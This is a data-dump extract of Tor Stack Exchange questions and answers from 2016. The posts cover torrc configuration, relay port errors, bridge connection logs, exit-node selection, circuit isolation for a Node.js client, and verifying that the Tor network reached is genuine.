  <row Id="13037" PostTypeId="1" CreationDate="2016-10-31T15:57:01.003" Score="4" ViewCount="64508" Body="&lt;p&gt;Your instructions say to  Tor's configuration file is named 'torrc'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Locate the file on your system, open it with a text editor and add the following lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ORPort 443&#xA;Exitpolicy reject *:*&#xA;Nickname ididntedittheconfig&#xA;ContactInfo human@...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The thing is, you don't say &quot;where&quot; to insert these lines, and there's really no specifics as to how exactly to edit the file....can you elaborate on this please, and be concise...I'd like to set-up and establish a good working relay....thank you for your time &lt;/p&gt;&#xA;" OwnerUserId="14893" LastActivityDate="2019-08-29T11:01:20.610" Title="How To Config the &quot;torrc&quot; file" Tags="|relays|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13040" PostTypeId="1" CreationDate="2016-10-31T20:51:06.620" Score="1" ViewCount="24" Body="&lt;p&gt;I just wanted to ask if I could also go to the &quot;Hackathon&quot; to find out more about the Tor Browser because I'm doing a presentation about it in school. &lt;/p&gt;&#xA;" OwnerUserId="14898" LastActivityDate="2016-10-31T20:51:06.620" Title="OONI Hackathon Berlin" Tags="|browsers|" AnswerCount="0" CommentCount="3" ClosedDate="2016-11-04T20:49:03.477" ContentLicense="CC BY-SA 3.0" />
  <row Id="13041" PostTypeId="1" CreationDate="2016-10-31T20:54:15.283" Score="2" ViewCount="147" Body="&lt;p&gt;A specific IP in the Tor network gets me kicked off dvdfab.com forum. I see a pop up that says an administrator banned this address. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I set tor to not use it or can tor not use it?&lt;/p&gt;&#xA;" OwnerUserId="14897" LastEditorUserId="13976" LastEditDate="2016-11-03T23:28:17.650" LastActivityDate="2017-02-02T22:56:03.333" Title="How to circumvent a ban from DVDFab?" Tags="|relays|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="13042" PostTypeId="2" ParentId="12934" CreationDate="2016-11-01T02:34:46.863" Score="0" Body="&lt;p&gt;The drag region is upside down.&#xA;You can drag the window around from the bottom of the browser.&#xA;Not a joke, by the way. Try it for yourself.&#xA;Until the bug is fixed, this will have to do.&lt;/p&gt;&#xA;" OwnerUserId="14900" LastEditorUserId="-1" LastEditDate="2016-11-12T23:00:03.853" LastActivityDate="2016-11-12T23:00:03.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13043" PostTypeId="2" ParentId="13037" CreationDate="2016-11-01T07:54:44.197" Score="3" Body="&lt;p&gt;The &lt;code&gt;torrc&lt;/code&gt; file is just a flat text file, any text editor (like &lt;code&gt;vim&lt;/code&gt;, &lt;code&gt;gedit&lt;/code&gt; or &lt;code&gt;notepad.exe&lt;/code&gt;) should suffice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open the file in the text editor and add the lines, or edit the lines if the options already exist with different definitions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where the file resides by default depends on the operating system and where you are receiving &lt;code&gt;tor&lt;/code&gt; from. The location is determined by whoever built the &lt;code&gt;tor&lt;/code&gt; binary. Infact depending on how it's installed or distributed (e.g. win32) you may not have a torrc file at all to work with or you may want to specify a different location. In those cases you can create a new text file and insert the appropriate configuration options and then specify an explicit location with the &lt;code&gt;-f&lt;/code&gt; command line switch, e.g. &lt;code&gt;tor -f /usr/local/etc/torrc&lt;/code&gt; or &lt;code&gt;tor -f C:\tor\torrc&lt;/code&gt; to point it to your new file. The file needn't be called &lt;code&gt;torrc&lt;/code&gt; but it is the standard naming convention.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are guides on the Tor Project website for &lt;a href=&quot;https://www.torproject.org/docs/tor-doc-osx.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;OSX&lt;/a&gt;, &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#NTService&quot; rel=&quot;nofollow noreferrer&quot;&gt;Windows&lt;/a&gt; and &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/TorRelayGuide&quot; rel=&quot;nofollow noreferrer&quot;&gt;Linux/UNIX&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="-1" LastEditDate="2018-03-20T21:06:04.360" LastActivityDate="2018-03-20T21:06:04.360" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13044" PostTypeId="2" ParentId="12650" CreationDate="2016-11-01T13:51:22.430" Score="2" Body="&lt;p&gt;&lt;strong&gt;UPDATE 2018:&lt;/strong&gt; This appears to be a popular question so I edited my answer. I put all the solutions I could think of at the beginning of this post. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You must have made sure your firewall etc. are allowing access to 127.0.0.1:9150 and 127.0.0.1:9151 which are Tor's SOCKS and control ports. I assume you haven't modified your &lt;em&gt;torrrc&lt;/em&gt; file. By the way, I also have 32-bit Windows 7.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try doing strange things with tor.exe, like starting two different versions (or two copies of the same version) of the program at the same time suddenly terminating the TBB process tree and running it again, disconnecting (or switching) the network while Tor Launcher is loading, use Sysinternals Process Explorer or some other utility to suspend tor.exe, forcably closing the TCP/IP connections tor makes, click Run as Administrator before launching TBB, maybe even log out of the system while Tor Launcher is loading (and failing)... You never know which one will fix the problem. Execution order is not predictable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But don't change Firefox, proxy or pluggable transport settings. That won't help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a last resort, delete the Browser\TorBrowser\Data folder and try reinstalling Tor Browser. Then start it again, choose network settings that appear on the screen and wait about 5 minutes while it connects to the Tor Network. Then &quot;Welcome To Tor Browser&quot; should display in the Tor Browser window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have bookmarks, preferences or other stuff that you want to backup, maybe you should use FEBE from Firefox Add-ons. It will work for now (until Firefox 59 ESR comes to Tor Browser). This &lt;a href=&quot;https://support.mozilla.org/en-US/kb/profiles-where-firefox-stores-user-data&quot; rel=&quot;nofollow noreferrer&quot;&gt;Mozilla Support page&lt;/a&gt; shows you where your things are stored on your computer.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I ran into this question (once again) two days ago after I was also getting the same error the OP got (except this time in 100% of the cases).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tested Tor Browser versions 7.5 and 6.0.5 on Windows 32-bit and they both had this problem. After I got &quot;Could not connect to Tor control port&quot;, they both proceeded to state &quot;Waiting for Tor to start...&quot;. &lt;strong&gt;It can't detect the Tor process&lt;/strong&gt; (why not I wonder?), so there are zero messages in the Tor log.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There appears to be a connection to a relay node but it's state is ESTABLISHED and not LISTENING. The main firefox process is waiting for Tor so the whole thing is stuck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Standalone Tor works normally. Then I tried to run 6.0.5 while 7.5 is stuck and then I get the same problem as described in &lt;a href=&quot;https://tor.stackexchange.com/q/14893/14882&quot;&gt;this question&lt;/a&gt; (The picture and the second paragraph). If I close 7.5, 6.0.5 finally opens the Tor Network settings. I then connect directly to the Tor network, it is connecting slowly... and finally loads. When I closed 6.0.5 and attempted to start 7.5, now it starts.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;The Tor Project developers do a great job in testing TBB for the real world, but occasionally, no matter how streamlined the error detection system of a program is, some external conditions will still slip past it and cause problems such as yours and mine. &lt;em&gt;A random error condition can be solved by doing random things such as those I have described above.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep that in mind the next time you have some obscure software problem.&lt;/p&gt;&#xA;" OwnerUserId="14882" LastEditorUserId="14882" LastEditDate="2018-02-13T16:15:53.933" LastActivityDate="2018-02-13T16:15:53.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13045" PostTypeId="1" CreationDate="2016-11-01T14:47:54.517" Score="1" ViewCount="35" Body="&lt;p&gt;I do not remember downloading anything like this, but,&#xA;All my pics and some other info are encrypted. I cannot open or see them. How do I go back the what I had before this happened?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just want to old machine I had.&lt;/p&gt;&#xA;" OwnerUserId="14905" LastActivityDate="2016-11-01T14:47:54.517" Title="All my pics and some other info are encrypted. I cannot open or see them" Tags="|help|" AnswerCount="0" CommentCount="0" ClosedDate="2016-11-06T20:57:39.893" ContentLicense="CC BY-SA 3.0" />
  <row Id="13047" PostTypeId="1" CreationDate="2016-11-01T19:16:46.577" Score="1" ViewCount="4396" Body="&lt;p&gt;I'm having issues with set up of my relay, this is what I got yesterday.....I don't understand how to correct this...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Oct 31 08:00:09.000 [notice] Opening OR listener on 0.0.0.0:443&#xA;Oct 31 08:00:09.000 [warn] Could not bind to 0.0.0.0:443: Permission denied&#xA;Oct 31 08:00:09.000 [warn] Failed to parse/validate config: Failed to bind one of the listener ports.&#xA;Oct 31 08:00:09.000 [err] Reading config failed--see warnings above. For usage, try -h.&#xA;Oct 31 08:00:09.000 [warn] Restart failed (config error?). Exiting.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14893" LastEditorUserId="12737" LastEditDate="2016-11-03T00:50:10.173" LastActivityDate="2022-03-27T15:04:05.293" Title="Failed to bind listening port" Tags="|relays|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="13049" PostTypeId="2" ParentId="12480" CreationDate="2016-11-01T22:17:44.390" Score="1" Body="&lt;p&gt;My good advice to you - use local instance of Bind and route all DNS queries through it. I'm using it quite for a long time - no problems so far. And - dhclient will not vandalize resolv conf after this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;chattr +i /etc/resolv.conf&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-11-01T22:17:44.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13053" PostTypeId="1" CreationDate="2016-11-02T11:36:25.130" Score="2" ViewCount="1139" Body="&lt;p&gt;I have a small node app that makes requests via Tor. My goal is to have a different exit IP for every request. in the &lt;code&gt;torrc&lt;/code&gt; configuration file one can set &lt;code&gt;MaxCircuitDirtiness 10&lt;/code&gt;, which will make it change exit ip every 10 seconds. &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/5259&quot; rel=&quot;nofollow noreferrer&quot;&gt;This is the minimum value that can be imposed.&lt;/a&gt; However, if I want to make 1 request/second, this is not enough. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/14321214/how-to-run-multiple-tor-processes-at-once-with-different-exit-ips&quot;&gt;So I am figuring out how to configure &amp;amp; run multiple tor servers such that I have different exit IPs, which is already discussed here.&lt;/a&gt; But it just doesn't seem to work. Someone already mentions this in a comment on the accepted answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have followed all steps: I have in my case 4 torrc files with seperate ports, 4 datadirectories (permissions are fixed), I start 4 different Tor servers all loading different config files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wrote a small app in nodejs to show that it doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    var Agent   = require('socks5-https-client/lib/Agent');&#xA;    var request = require('request');&#xA;    var cheerio = require('cheerio');&#xA;    var url = &quot;https://check.torproject.org/&quot;&#xA;    function makereq(port){&#xA;        request({&#xA;            url: url,&#xA;            strictSSL: true,&#xA;            agentClass: Agent,&#xA;            agentOptions: {&#xA;                socksHost: '127.0.0.1',&#xA;                socksPort: port&#xA;            }&#xA;        }, function(err, res) {&#xA;            if (err == null){&#xA;                $ = cheerio.load(res.body)&#xA;                var ip = $('p strong').text()&#xA;                console.log(&quot;Request through PORT &quot; + port + &quot; with EXIT IP &quot;+ ip)&#xA;            }&#xA;            else {&#xA;                console.log(&quot;Something went wrong&quot;)&#xA;                console.log(err)&#xA;            }&#xA;        });&#xA;    }&#xA;&#xA;    var ports = [9050, 9060, 9070, 9080];&#xA;    counter = 0&#xA;    setInterval(function(){&#xA;        makereq(ports[counter])&#xA;        counter++&#xA;        if (counter == ports.length){&#xA;            counter = 0&#xA;        }&#xA;    }, 1000)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Naturally, my question: how do I get this set-up to work? How do I get different exit IPs for seperate Tor servers?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For completeness, one of the &lt;code&gt;torrc&lt;/code&gt; files&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    # 10 seconds is the shortest refresh time allowed by Tor.&#xA;    MaxCircuitDirtiness 10&#xA;&#xA;    # puts a listener on localhost:9050&#xA;    SOCKSPort 9050&#xA;    ControlPort 9051&#xA;    DataDirectory /var/lib/tor_0&#xA;&#xA;    # some policies of which I dont know they are important&#xA;    SOCKSPolicy accept 192.168.0.0/16&#xA;    SOCKSPolicy accept 127.0.0.0/8&#xA;    SOCKSPolicy accept6 FC00::/7&#xA;    SOCKSPolicy reject *&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="10661" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:21.987" LastActivityDate="2017-01-06T10:38:40.737" Title="Running parallel Tor servers with different exit IPs with nodejs app" Tags="|exit-relays|ip-address|javascript|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="13058" PostTypeId="1" AcceptedAnswerId="13061" CreationDate="2016-11-03T12:13:49.303" Score="2" ViewCount="157" Body="&lt;p&gt;It seems very easy for my ISP to firewall all tor nodes and redirect all connection to a fake tor node or network of fake tor nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I make sure it is not the case?&lt;/p&gt;&#xA;" OwnerUserId="14928" LastEditorUserId="31632" LastEditDate="2021-05-28T22:18:23.817" LastActivityDate="2021-05-28T22:18:23.817" Title="How to verify that my ISP is not running a fake tor subnetwork" Tags="|configuration|security|network-configuration|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13060" PostTypeId="1" CreationDate="2016-11-03T14:45:09.387" Score="1" ViewCount="283" Body="&lt;p&gt;Show me please any minimum-worked example of C++ Qt (or pure C++) code, which sends request via sockets to IP &lt;code&gt;123.45.67.89&lt;/code&gt; on port &lt;code&gt;12345&lt;/code&gt; &lt;strong&gt;through the Tor network&lt;/strong&gt; - without Tor Browser installing, of course.&lt;/p&gt;&#xA;" OwnerUserId="14933" LastEditorDisplayName="user5" LastEditDate="2016-11-03T23:14:25.450" LastActivityDate="2016-11-03T23:14:25.450" Title="Send request to the custom host/site through the Tor network programmatically, without Tor Browser installing (C++ Qt, using Winsock2)" Tags="|windows|socks|torsocks|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13061" PostTypeId="2" ParentId="13058" CreationDate="2016-11-03T19:05:36.660" Score="2" Body="&lt;p&gt;The Tor binary contains fingerprints of keys for the directory authorities. These are used to then load the consensus, which contains key material for all other relays.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unless your ISP has some new attacks on cryptography that are unprecedented in literature or known real world application, they cannot do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The easiest way for them to do this is to subvert the copy of &lt;code&gt;tor&lt;/code&gt; that you receive. Ensure that you verify the &lt;a href=&quot;https://www.torproject.org/docs/verifying-signatures.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;signature of the &lt;code&gt;tor&lt;/code&gt; package&lt;/a&gt;, the Tor Project website lists their &lt;a href=&quot;https://www.torproject.org/docs/signing-keys.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;signing keys&lt;/a&gt;. Again, to break both the HTTPS (which is pinned in most modern browsers, which makes it harder to perform a TLS MITM even &lt;em&gt;if&lt;/em&gt; you own a rogue CA) and the hash function used to break the fingerprint or the cryptography protecting the private key from being derived from the public would require some extra-ordinary breakthrough in mathematics or computing power.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you follow steps of the fetching the signing key, verifying the fingerprint over HTTPS (or through a pre-existing web-of-trust), downloading both the tor package and signature for the package over HTTPS then verifying the signature and ensuring it is signed with the correct key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, these steps assume that the layer above it is trustworthy (e.g. that your operating system and hardware are serving you and not some malicious third party). Ultimately trust must be anchored somewhere, if you do not trust your hardware or operating system, you cannot trust anything that you run under them.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-11-03T19:05:36.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13065" PostTypeId="1" CreationDate="2016-11-04T10:06:39.737" Score="1" ViewCount="29" Body="&lt;p&gt;I tried to enforce Tor to use an exit node in The Netherlands, by adding the following lines to /etc/tor/torrc:&#xA;ExitNodes {NL}&#xA;StrictNodes 1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After editing, I did &#xA;sudo service tor restart&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when using the Tor browser, I end up with an exit node in a random country. Any help is appreciated...&lt;/p&gt;&#xA;" OwnerUserId="14936" LastActivityDate="2016-11-04T10:06:39.737" Title="Unable to enforce exit node country (ubuntu)?" Tags="|exit-relays|ubuntu|" AnswerCount="0" CommentCount="2" ClosedDate="2016-11-16T19:31:42.793" ContentLicense="CC BY-SA 3.0" />
  <row Id="13066" PostTypeId="2" ParentId="8956" CreationDate="2016-11-04T13:22:36.050" Score="0" Body="&lt;p&gt;In many cases, i.e. with Tor-browser, Tor is only used for anonymizing web traffic, setting up your local machine to use tor for all traffic can be difficult and requires use of iptables, etc and can be potentially defeated by malicious software running on your localhost. Using orbot-tethering transparently routes all your traffic over the Tor network.&lt;/p&gt;&#xA;" OwnerUserId="14943" LastActivityDate="2016-11-04T13:22:36.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13067" PostTypeId="2" ParentId="13041" CreationDate="2016-11-04T20:55:15.553" Score="1" Body="&lt;p&gt;You can configure Tor in way that it doesn't use this specific IP address. Tor has a configuration option called &lt;code&gt;ExcludeExitNodes&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A list of identity fingerprints, country codes, and&#xA;           address patterns of nodes to never use when picking an&#xA;           exit node---that is, a node that delivers traffic for&#xA;           you outside the Tor network. Note that any node listed&#xA;           in ExcludeNodes is automatically considered to be part&#xA;           of this list too. See the ExcludeNodes option for more&#xA;           information on how to specify nodes. See also the&#xA;           caveats on the &quot;ExitNodes&quot; option below.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So the best is to go to &lt;a href=&quot;https://atlas.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://atlas.torproject.org/&lt;/a&gt; and search for this IP address. Click on the entry and look for the fingerprint of the relay. Enter a line with &lt;code&gt;ExcludeExitNodes FINGERPRINT&lt;/code&gt; into your torrc where &lt;code&gt;FINGERPRINT&lt;/code&gt; is the value you found in the above page. When you restart Tor it won't use this exit address anymore.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2016-11-04T20:55:15.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13068" PostTypeId="1" CreationDate="2016-11-05T01:33:39.653" Score="1" ViewCount="342" Body="&lt;p&gt;I have used the Tor Browser to login to my google account multiple times, and in each instance I am marked as using the same device in &quot;Recently used devices,&quot; even if I am connecting via a different exit node. &#xA;When I connected via the Tor Browser running inside a virtual machine, Google correctly identified me as using a different device.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scripts are enabled globally in my browser, and cookies are allowed but obviously deleted at the end of a session.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does my browser have some vulnerability that allows Google to recognize me each time I login?&lt;/p&gt;&#xA;" OwnerUserId="14949" LastActivityDate="2016-11-05T01:33:39.653" Title="Google Recognizes My Device When I Login Via Tor Browser" Tags="|anonymity|cookies|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13071" PostTypeId="1" CreationDate="2016-11-05T17:30:53.603" Score="0" ViewCount="389" Body="&lt;p&gt;i am thinking to write a apk. i will use orbot proxy (127.0.0.1:8118). i can change tor identity on ubuntu (sudo service tor restart). my question is;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;can i change orbot (tor) identity from my apk on same device?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(sorry for bad english)&lt;/p&gt;&#xA;" OwnerUserId="14961" LastActivityDate="2021-12-14T22:01:00.153" Title="Orbot, Change Identity Remote (On Same Device Different App)" Tags="|orbot|android|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13075" PostTypeId="2" ParentId="13053" CreationDate="2016-11-07T08:24:35.400" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I want to monitor a website without making it a priori evident that it is being monitored&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Problems:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The set of exits isn't (very) large, you'll repeat after a given time scale.&lt;/li&gt;&#xA;&lt;li&gt;The exits are weighted, you're more likely to use high capacity ones.&lt;/li&gt;&#xA;&lt;li&gt;The timing and uniformity of the HTTP requests.&lt;/li&gt;&#xA;&lt;li&gt;The (likely) quite unique user-agent and chosen set of headers from http library.&lt;/li&gt;&#xA;&lt;li&gt;The lack of fetching of included resources (&lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt;,&lt;code&gt;&amp;lt;style&amp;gt;&lt;/code&gt;, etc)?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;These would likely all make it evident that the requests were all coming from the same source, and from a script. Some things you could to reduce thses might be to replicate the requests from Tor Browser (down to the headers and order of the headers), randomise the timing interval between requests. Ultimately however if the site would, if it put effort into it (often more effort than it's worth), be able to distinguish you from a legitimate browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As to the changing circuit issue and the &lt;code&gt;torrc&lt;/code&gt; configuration there are a couple of approaches you can try.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all, you don't need to run multiple copies of Tor to use multiple &lt;code&gt;SocksPort&lt;/code&gt; directives. You can specify multiple in one single &lt;code&gt;torrc&lt;/code&gt; and they will be isolated (unless you specify a &lt;code&gt;SessionGroup&lt;/code&gt; which is the same for each).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second of all, instead of messing with &lt;code&gt;MaxCircuitDirtiness&lt;/code&gt; you should use some kind of explicit directive. The simplest approach is to accept that you'll be re-using the same exits over time and use SOCKS auth as the isolation mechanism. Tor's &lt;code&gt;SocksPort&lt;/code&gt; will accept username and password authentication, each unique username and password combination will be isolated by circuit. By picking some random seed value (e.g. reading 32 bytes of random data from the operating systems CSPRNG) then running it through a cryptographic hash function, like SHA3-256, you can generate a pretty unique and unlikely to collide string. By using this as the username and some arbitrary password, then setting the username to the hash of the old username you will have a unique username and password combination per request, meaning each request will use a new and distinct circuit. By picking &lt;code&gt;N&lt;/code&gt; seeds to generate usernames from you can use a single SocksPort but have &lt;code&gt;N&lt;/code&gt; requests running against it which are isolated from each other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other approaches would involve utilising the control port, parsing tor ExitPolicy descriptors to pick appropriate exits and then using the &lt;code&gt;MapAddress&lt;/code&gt; and &lt;code&gt;.exit&lt;/code&gt; options to reconfigure an exit associated with the host. This may allow you to utilize a uniform distribution of the full set of exits and use some algorithm to take a random walk through them to avoid repeating. For how to approach this, see &lt;a href=&quot;https://tor.stackexchange.com/questions/12401/iterate-through-list-of-exitnodes/12408#12408&quot;&gt;this answer&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Consider however that while this behavior may seem benign scrapers and crawlers are one of the reason that Tor was entirely blocked from &quot;CraigsList&quot;. Many sites consider the content they display to be their &quot;intellectual property&quot; and are actively hostile to attempts to scrape it, lest others copy and reproduce it. You actions may result in a negative outcome from other Tor users of the service, and ultimately yourself.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-11-07T08:24:35.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13076" PostTypeId="1" CreationDate="2016-11-07T21:00:13.867" Score="0" ViewCount="431" Body="&lt;p&gt;I am having some trouble connecting with Tor. This what I get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;07/11/2016 20:11:23.500 [NOTICE] Bootstrapped 85%: Finishing handshake with first hop &#xA;07/11/2016 20:11:23.600 [NOTICE] Bootstrapped 90%: Establishing a Tor circuit &#xA;07/11/2016 20:11:23.900 [NOTICE] Tor has successfully opened a circuit. Looks like client functionality is working. &#xA;07/11/2016 20:11:23.900 [NOTICE] Bootstrapped 100%: Done &#xA;07/11/2016 20:11:25.100 [NOTICE] New control connection opened from 127.0.0.1. &#xA;07/11/2016 20:13:46.500 [NOTICE] Delaying directory fetches: No running bridges &#xA;07/11/2016 20:13:47.900 [NOTICE] new bridge descriptor 'ndnop3' (fresh): $8DFCD8FB3285E855F5A55EDDA35696C743ABFC4E~ndnop3 at 109.105.109.165 &#xA;07/11/2016 20:13:48.000 [NOTICE] new bridge descriptor 'ndnop5' (fresh): $BBB28DF0F201E706BE564EFE690FE9577DD8386D~ndnop5 at 109.105.109.147 &#xA;07/11/2016 20:13:48.300 [NOTICE] new bridge descriptor 'noether' (fresh): $7B126FAB960E5AC6A629C729434FF84FB5074EC2~noether at 192.99.11.54 &#xA;07/11/2016 20:13:48.300 [NOTICE] new bridge descriptor 'riemann' (fresh): $752CF7825B3B9EA6A98C83AC41F7099D67007EA5~riemann at 198.245.60.50 &#xA;07/11/2016 20:13:48.700 [NOTICE] new bridge descriptor 'Azadi' (fresh): $FE7840FE1E21FE0A0639ED176EDA00A3ECA1E34D~Azadi at 154.35.22.13 &#xA;07/11/2016 20:13:48.700 [NOTICE] new bridge descriptor 'JonbesheSabz' (fresh): $00DC6C4FA49A65BD1472993CF6730D54F11E0DBB~JonbesheSabz at 154.35.22.12 &#xA;07/11/2016 20:13:48.700 [NOTICE] new bridge descriptor 'Mosaddegh' (fresh): $8FB9F4319E89E5C6223052AA525A192AFBC85D55~Mosaddegh at 154.35.22.10 &#xA;07/11/2016 20:13:48.900 [NOTICE] new bridge descriptor 'GreenBelt' (fresh): $C73ADBAC8ADFDBF0FC0F3F4E8091C0107D093716~GreenBelt at 154.35.22.9 &#xA;07/11/2016 20:13:48.900 [NOTICE] new bridge descriptor 'MaBishomarim' (fresh): $A832D176ECD5C7C6B58825AE22FC4C90FA249637~MaBishomarim at 154.35.22.11 &#xA;07/11/2016 20:13:52.300 [NOTICE] new bridge descriptor 'LeifEricson' (fresh): $A09D536DD1752D542E1FBB3C9CE4449D51298239~LeifEricson at 83.212.101.3 &#xA;07/11/2016 20:46:37.600 [WARN] Tor cannot connect to the Internet if ReachableAddresses, ReachableORAddresses, or ReachableDirAddresses reject all addresses. Please accept some addresses in these options. &#xA;07/11/2016 20:46:37.600 [WARN] Tor cannot connect to the Internet if ReachableAddresses, ReachableORAddresses, or ReachableDirAddresses reject all addresses. Please accept some addresses in these options. &#xA;07/11/2016 20:46:37.700 [NOTICE] Bridge at '158.69.14.73:5197' isn't reachable by our firewall policy. Asking bridge authority instead. &#xA;07/11/2016 20:46:37.700 [NOTICE] While fetching directory info, no running dirservers known. Will try again later. (purpose 6) &#xA;07/11/2016 20:46:37.700 [NOTICE] Bridge at '194.132.209.34:51929' isn't reachable by our firewall policy. Asking bridge authority instead. &#xA;07/11/2016 20:46:37.700 [NOTICE] While fetching directory info, no running dirservers known. Will try again later. (purpose 6) &#xA;07/11/2016 20:46:37.700 [NOTICE] Bridge at '77.81.104.251:443' isn't reachable by our firewall policy. Asking bridge authority instead. &#xA;07/11/2016 20:46:37.700 [NOTICE] While fetching directory info, no running dirservers known. Will try again later. (purpose 6) &#xA;07/11/2016 20:46:37.700 [NOTICE] Delaying directory fetches: No running bridges &#xA;07/11/2016 20:46:44.300 [NOTICE] New control connection opened from 127.0.0.1. &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I do not really understand what is reachable adresses and what to do. &#xA;Please! &#xA;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="14978" LastEditorUserId="12737" LastEditDate="2016-11-07T22:43:36.497" LastActivityDate="2017-02-06T00:22:57.883" Title="Tor proxy issues?" Tags="|proxy|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
